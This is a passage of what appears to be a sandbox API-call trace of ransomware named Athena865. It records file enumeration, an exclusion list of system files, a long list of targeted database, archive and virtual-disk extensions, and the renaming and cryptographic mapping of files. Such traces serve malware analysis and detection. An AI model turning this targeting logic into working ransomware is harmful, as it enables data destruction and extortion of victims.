hHeap=0x4f0000) returned 1 [0036.543] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0036.544] CloseHandle (hObject=0x154) returned 1 [0036.544] CloseHandle (hObject=0x17c) returned 1 [0036.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0036.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0036.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0036.546] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3f3bc0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc3f3bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0036.546] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0036.546] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2=".") returned 1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="..") returned 1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="windows") returned -1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="bootmgr") returned 1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="temp") returned -1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="pagefile.sys") returned -1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="boot") returned 1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="ids.txt") returned 1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="ntuser.dat") returned 1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="perflogs") returned -1 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2="MSBuild") returned 1 [0036.546] lstrlenW (lpString="offset.ax") returned 9 [0036.546] lstrcpyW (in: lpString1=0x241e87e, lpString2="offset.ax" | out: lpString1="offset.ax") returned="offset.ax" [0036.546] lstrlenW (lpString="offset.ax") returned 9 [0036.546] lstrlenW (lpString="Athena865") returned 9 [0036.546] lstrlenW (lpString=".dll") returned 4 [0036.546] lstrcmpiW (lpString1="offset.ax", lpString2=".dll") returned 1 [0036.546] lstrlenW (lpString=".lnk") returned 4 [0036.547] lstrcmpiW (lpString1="offset.ax", lpString2=".lnk") returned 1 [0036.547] lstrlenW (lpString=".ini") returned 4 [0036.547] lstrcmpiW (lpString1="offset.ax", lpString2=".ini") returned 1 [0036.547] lstrlenW (lpString=".sys") returned 4 [0036.547] lstrcmpiW (lpString1="offset.ax", lpString2=".sys") returned 1 [0036.547] lstrlenW (lpString="offset.ax") returned 9 [0036.547] lstrlenW (lpString="bak") returned 3 [0036.547] lstrcmpiW (lpString1=".ax", lpString2="bak") returned -1 [0036.547] lstrlenW (lpString="ba_") returned 3 [0036.547] lstrcmpiW (lpString1=".ax", lpString2="ba_") returned -1 [0036.547] lstrlenW (lpString="dbb") returned 3 [0036.547] lstrcmpiW (lpString1=".ax", lpString2="dbb") returned -1 [0036.547] lstrlenW (lpString="vmdk") returned 4 [0036.547] lstrcmpiW (lpString1="t.ax", lpString2="vmdk") returned -1 [0036.547] lstrlenW (lpString="rar") returned 3 [0036.547] lstrcmpiW (lpString1=".ax", lpString2="rar") returned -1 [0036.547] lstrlenW (lpString="zip") returned 3 [0036.547] lstrcmpiW (lpString1=".ax", lpString2="zip") returned -1 [0036.547] lstrlenW (lpString="tgz") returned 3 [0036.547] lstrcmpiW (lpString1=".ax", lpString2="tgz") returned -1 [0036.547] lstrlenW (lpString="vbox") returned 4 [0036.547] lstrcmpiW (lpString1="t.ax", lpString2="vbox") returned -1 [0036.547] lstrlenW (lpString="vdi") returned 3 [0036.547] lstrcmpiW (lpString1=".ax", lpString2="vdi") returned -1 [0036.547] lstrlenW (lpString="vhd") returned 3 [0036.547] lstrcmpiW (lpString1=".ax", lpString2="vhd") returned -1 [0036.547] lstrlenW (lpString="vhdx") returned 4 [0036.547] lstrcmpiW (lpString1="t.ax", lpString2="vhdx") returned -1 [0036.547] lstrlenW (lpString="avhd") returned 4 [0036.547] lstrcmpiW (lpString1="t.ax", lpString2="avhd") returned 1 [0036.547] lstrlenW (lpString="db") returned 2 [0036.547] lstrcmpiW (lpString1="ax", lpString2="db") returned -1 [0036.547] lstrlenW (lpString="db2") returned 3 [0036.547] lstrcmpiW (lpString1=".ax", lpString2="db2") returned -1 [0036.547] lstrlenW (lpString="db3") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="db3") returned -1 [0036.548] lstrlenW (lpString="dbf") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="dbf") returned -1 [0036.548] lstrlenW (lpString="mdf") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="mdf") returned -1 [0036.548] lstrlenW (lpString="mdb") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="mdb") returned -1 [0036.548] lstrlenW (lpString="sql") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="sql") returned -1 [0036.548] lstrlenW (lpString="sqlite") returned 6 [0036.548] lstrcmpiW (lpString1="set.ax", lpString2="sqlite") returned -1 [0036.548] lstrlenW (lpString="sqlite3") returned 7 [0036.548] lstrcmpiW (lpString1="fset.ax", lpString2="sqlite3") returned -1 [0036.548] lstrlenW (lpString="sqlitedb") returned 8 [0036.548] lstrcmpiW (lpString1="ffset.ax", lpString2="sqlitedb") returned -1 [0036.548] lstrlenW (lpString="xml") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="xml") returned -1 [0036.548] lstrlenW (lpString="$er") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="$er") returned 1 [0036.548] lstrlenW (lpString="4dd") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="4dd") returned -1 [0036.548] lstrlenW (lpString="4dl") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="4dl") returned -1 [0036.548] lstrlenW (lpString="^^^") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="^^^") returned -1 [0036.548] lstrlenW (lpString="abs") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="abs") returned -1 [0036.548] lstrlenW (lpString="abx") returned 3 [0036.548] lstrcmpiW (lpString1=".ax", lpString2="abx") returned -1 [0036.548] lstrlenW (lpString="accdb") returned 5 [0036.548] lstrcmpiW (lpString1="et.ax", lpString2="accdb") returned 1 [0036.548] lstrlenW (lpString="accdc") returned 5 [0036.548] lstrcmpiW (lpString1="et.ax", lpString2="accdc") returned 1 [0036.548] lstrlenW (lpString="accde") returned 5 [0036.548] lstrcmpiW (lpString1="et.ax", lpString2="accde") returned 1 [0036.548] lstrlenW (lpString="accdr") returned 5 [0036.549] lstrcmpiW (lpString1="et.ax", lpString2="accdr") returned 1 [0036.549] lstrlenW (lpString="accdt") returned 5 [0036.549] lstrcmpiW (lpString1="et.ax", lpString2="accdt") returned 1 [0036.549] lstrlenW (lpString="accdw") returned 5 [0036.549] lstrcmpiW (lpString1="et.ax", lpString2="accdw") returned 1 [0036.549] lstrlenW (lpString="accft") returned 5 [0036.549] lstrcmpiW (lpString1="et.ax", lpString2="accft") returned 1 [0036.549] lstrlenW (lpString="adb") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0036.549] lstrlenW (lpString="adb") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0036.549] lstrlenW (lpString="ade") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="ade") returned -1 [0036.549] lstrlenW (lpString="adf") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="adf") returned -1 [0036.549] lstrlenW (lpString="adn") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="adn") returned -1 [0036.549] lstrlenW (lpString="adp") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="adp") returned -1 [0036.549] lstrlenW (lpString="alf") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="alf") returned -1 [0036.549] lstrlenW (lpString="ask") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="ask") returned -1 [0036.549] lstrlenW (lpString="btr") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="btr") returned -1 [0036.549] lstrlenW (lpString="cat") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="cat") returned -1 [0036.549] lstrlenW (lpString="cdb") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="cdb") returned -1 [0036.549] lstrlenW (lpString="ckp") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="ckp") returned -1 [0036.549] lstrlenW (lpString="cma") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="cma") returned -1 [0036.549] lstrlenW (lpString="cpd") returned 3 [0036.549] lstrcmpiW (lpString1=".ax", lpString2="cpd") returned -1 [0036.549] lstrlenW (lpString="dacpac") returned 6 [0036.550] lstrcmpiW (lpString1="set.ax", lpString2="dacpac") returned 1 [0036.550] lstrlenW (lpString="dad") returned 3 [0036.550] lstrcmpiW (lpString1=".ax", lpString2="dad") returned -1 [0036.550] lstrlenW (lpString="dadiagrams") returned 10 [0036.550] lstrlenW (lpString="daschema") returned 8 [0036.550] lstrcmpiW (lpString1="ffset.ax", lpString2="daschema") returned 1 [0036.550] lstrlenW (lpString="db-journal") returned 10 [0036.550] lstrlenW (lpString="db-shm") returned 6 [0036.550] lstrcmpiW (lpString1="set.ax", lpString2="db-shm") returned 1 [0036.550] lstrlenW (lpString="db-wal") returned 6 [0036.550] lstrcmpiW (lpString1="set.ax", lpString2="db-wal") returned 1 [0036.550] lstrlenW (lpString="dbc") returned 3 [0036.550] lstrcmpiW (lpString1=".ax", lpString2="dbc") returned -1 [0036.550] lstrlenW (lpString="dbs") returned 3 [0036.550] lstrcmpiW (lpString1=".ax", lpString2="dbs") returned -1 [0036.550] lstrlenW (lpString="dbt") returned 3 [0036.550] lstrcmpiW (lpString1=".ax", lpString2="dbt") returned -1 [0036.550] lstrlenW (lpString="dbv") returned 3 [0036.550] lstrcmpiW (lpString1=".ax", lpString2="dbv") returned -1 [0036.550] lstrlenW (lpString="dbx") returned 3 [0036.550] lstrcmpiW (lpString1=".ax", lpString2="dbx") returned -1 [0036.550] lstrlenW (lpString="dcb") returned 3 [0036.550] lstrcmpiW (lpString1=".ax", lpString2="dcb") returned -1 [0036.550] lstrcmpiW (lpString1=".ax", lpString2="dct") returned -1 [0036.550] lstrcmpiW (lpString1=".ax", lpString2="dcx") returned -1 [0036.550] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\offset.ax.Athena865") returned 46 [0036.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\offset.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\offset.ax.athena865"), dwFlags=0x1) returned 1 [0036.551] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\offset.ax.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0036.551] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43008) returned 1 [0036.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0036.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0036.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0036.551] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0036.552] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0036.552] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.552] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xab00, lpName=0x0) returned 0x154 [0036.554] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xab00) returned 0x100000 [0036.556] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0036.557] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0036.557] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0036.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0036.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0036.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0036.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0036.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0036.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0036.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0036.558] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0036.558] CloseHandle (hObject=0x154) returned 1 [0036.558] CloseHandle (hObject=0x17c) returned 1 [0036.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0036.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0036.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0036.560] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2=".") returned 1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="..") returned 1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="windows") returned -1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="bootmgr") returned 1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="temp") returned -1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="pagefile.sys") returned -1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="boot") returned 1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="ids.txt") returned 1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="ntuser.dat") returned 1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="perflogs") returned -1 [0036.560] lstrcmpiW (lpString1="OmdBase.dll", lpString2="MSBuild") returned 1 [0036.560] lstrlenW (lpString="OmdBase.dll") returned 11 [0036.560] lstrcpyW (in: lpString1=0x241e87e, lpString2="OmdBase.dll" | out: lpString1="OmdBase.dll") returned="OmdBase.dll" [0036.560] lstrlenW (lpString="OmdBase.dll") returned 11 [0036.560] lstrlenW (lpString="Athena865") returned 9 [0036.560] lstrcmpiW (lpString1="dBase.dll", lpString2="Athena865") returned 1 [0036.560] lstrlenW (lpString=".dll") returned 4 [0036.561] lstrcmpiW (lpString1="OmdBase.dll", lpString2=".dll") returned 1 [0036.561] lstrlenW (lpString=".lnk") returned 4 [0036.561] lstrcmpiW (lpString1="OmdBase.dll", lpString2=".lnk") returned 1 [0036.561] lstrlenW (lpString=".ini") returned 4 [0036.561] lstrcmpiW (lpString1="OmdBase.dll", lpString2=".ini") returned 1 [0036.561] lstrlenW (lpString=".sys") returned 4 [0036.561] lstrcmpiW (lpString1="OmdBase.dll", lpString2=".sys") returned 1 [0036.561] lstrlenW (lpString="OmdBase.dll") returned 11 [0036.561] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\OmdBase.dll.Athena865") returned 48 [0036.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll.Athena865" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.athena865"), dwFlags=0x1) returned 1 [0036.562] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll.Athena865" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0036.562] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14967808) returned 1 [0036.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0036.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0036.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0036.562] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0036.563] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0036.563] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.563] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe46700, lpName=0x0) returned 0x154 [0036.565] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xe00000, dwNumberOfBytesToMap=0x46700) returned 0x1f0000 [0036.578] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2d50000 [0036.646] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0036.663] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0036.664] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0036.664] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0036.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0036.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0036.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0036.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0036.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0036.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0036.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0036.665] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0036.667] CloseHandle (hObject=0x154) returned 1 [0036.667] CloseHandle (hObject=0x17c) returned 1 [0037.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.052] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0037.052] lstrcmpiW (lpString1="OmdProject.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.052] lstrcmpiW (lpString1="OmdProject.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.052] lstrcmpiW (lpString1="OmdProject.dll", lpString2=".") returned 1 [0037.052] lstrcmpiW (lpString1="OmdProject.dll", lpString2="..") returned 1 [0037.052] lstrcmpiW (lpString1="OmdProject.dll", lpString2="windows") returned -1 [0037.052] lstrcmpiW (lpString1="OmdProject.dll", lpString2="bootmgr") returned 1 [0037.052] lstrcmpiW (lpString1="OmdProject.dll", lpString2="temp") returned -1 [0037.052] lstrcmpiW (lpString1="OmdProject.dll", lpString2="pagefile.sys") returned -1 [0037.052] lstrcmpiW (lpString1="OmdProject.dll", lpString2="boot") returned 1 [0037.053] lstrcmpiW (lpString1="OmdProject.dll", lpString2="ids.txt") returned 1 [0037.053] lstrcmpiW (lpString1="OmdProject.dll", lpString2="ntuser.dat") returned 1 [0037.053] lstrcmpiW (lpString1="OmdProject.dll", lpString2="perflogs") returned -1 [0037.053] lstrcmpiW (lpString1="OmdProject.dll", lpString2="MSBuild") returned 1 [0037.053] lstrlenW (lpString="OmdProject.dll") returned 14 [0037.053] lstrcpyW (in: lpString1=0x241e87e, lpString2="OmdProject.dll" | out: lpString1="OmdProject.dll") returned="OmdProject.dll" [0037.053] lstrlenW (lpString="OmdProject.dll") returned 14 [0037.053] lstrlenW (lpString="Athena865") returned 9 [0037.053] lstrcmpiW (lpString1="oject.dll", lpString2="Athena865") returned 1 [0037.053] lstrlenW (lpString=".dll") returned 4 [0037.053] lstrcmpiW (lpString1="OmdProject.dll", lpString2=".dll") returned 1 [0037.053] lstrlenW (lpString=".lnk") returned 4 [0037.053] lstrcmpiW (lpString1="OmdProject.dll", lpString2=".lnk") returned 1 [0037.053] lstrlenW (lpString=".ini") returned 4 [0037.053] lstrcmpiW (lpString1="OmdProject.dll", lpString2=".ini") returned 1 [0037.053] lstrlenW (lpString=".sys") returned 4 [0037.053] lstrcmpiW (lpString1="OmdProject.dll", lpString2=".sys") returned 1 [0037.053] lstrlenW (lpString="OmdProject.dll") returned 14 [0037.053] lstrlenW (lpString="bak") returned 3 [0037.053] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0037.053] lstrlenW (lpString="ba_") returned 3 [0037.053] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0037.053] lstrlenW (lpString="dbb") returned 3 [0037.053] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0037.053] lstrlenW (lpString="vmdk") returned 4 [0037.053] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0037.053] lstrlenW (lpString="rar") returned 3 [0037.053] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0037.053] lstrlenW (lpString="zip") returned 3 [0037.053] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0037.053] lstrlenW (lpString="tgz") returned 3 [0037.053] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0037.053] lstrlenW (lpString="vbox") returned 4 [0037.053] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0037.053] lstrlenW (lpString="vdi") returned 3 [0037.053] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0037.053] lstrlenW (lpString="vhd") returned 3 [0037.053] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0037.053] lstrlenW (lpString="vhdx") returned 4 [0037.054] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0037.054] lstrlenW (lpString="avhd") returned 4 [0037.054] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0037.054] lstrlenW (lpString="db") returned 2 [0037.054] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0037.054] lstrlenW (lpString="db2") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0037.054] lstrlenW (lpString="db3") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0037.054] lstrlenW (lpString="dbf") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0037.054] lstrlenW (lpString="mdf") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0037.054] lstrlenW (lpString="mdb") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0037.054] lstrlenW (lpString="sql") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0037.054] lstrlenW (lpString="sqlite") returned 6 [0037.054] lstrcmpiW (lpString1="ct.dll", lpString2="sqlite") returned -1 [0037.054] lstrlenW (lpString="sqlite3") returned 7 [0037.054] lstrcmpiW (lpString1="ect.dll", lpString2="sqlite3") returned -1 [0037.054] lstrlenW (lpString="sqlitedb") returned 8 [0037.054] lstrcmpiW (lpString1="ject.dll", lpString2="sqlitedb") returned -1 [0037.054] lstrlenW (lpString="xml") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0037.054] lstrlenW (lpString="$er") returned 3 [0037.054] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0037.054] lstrlenW (lpString="4dd") returned 3 [0037.054] lstrcmpiW 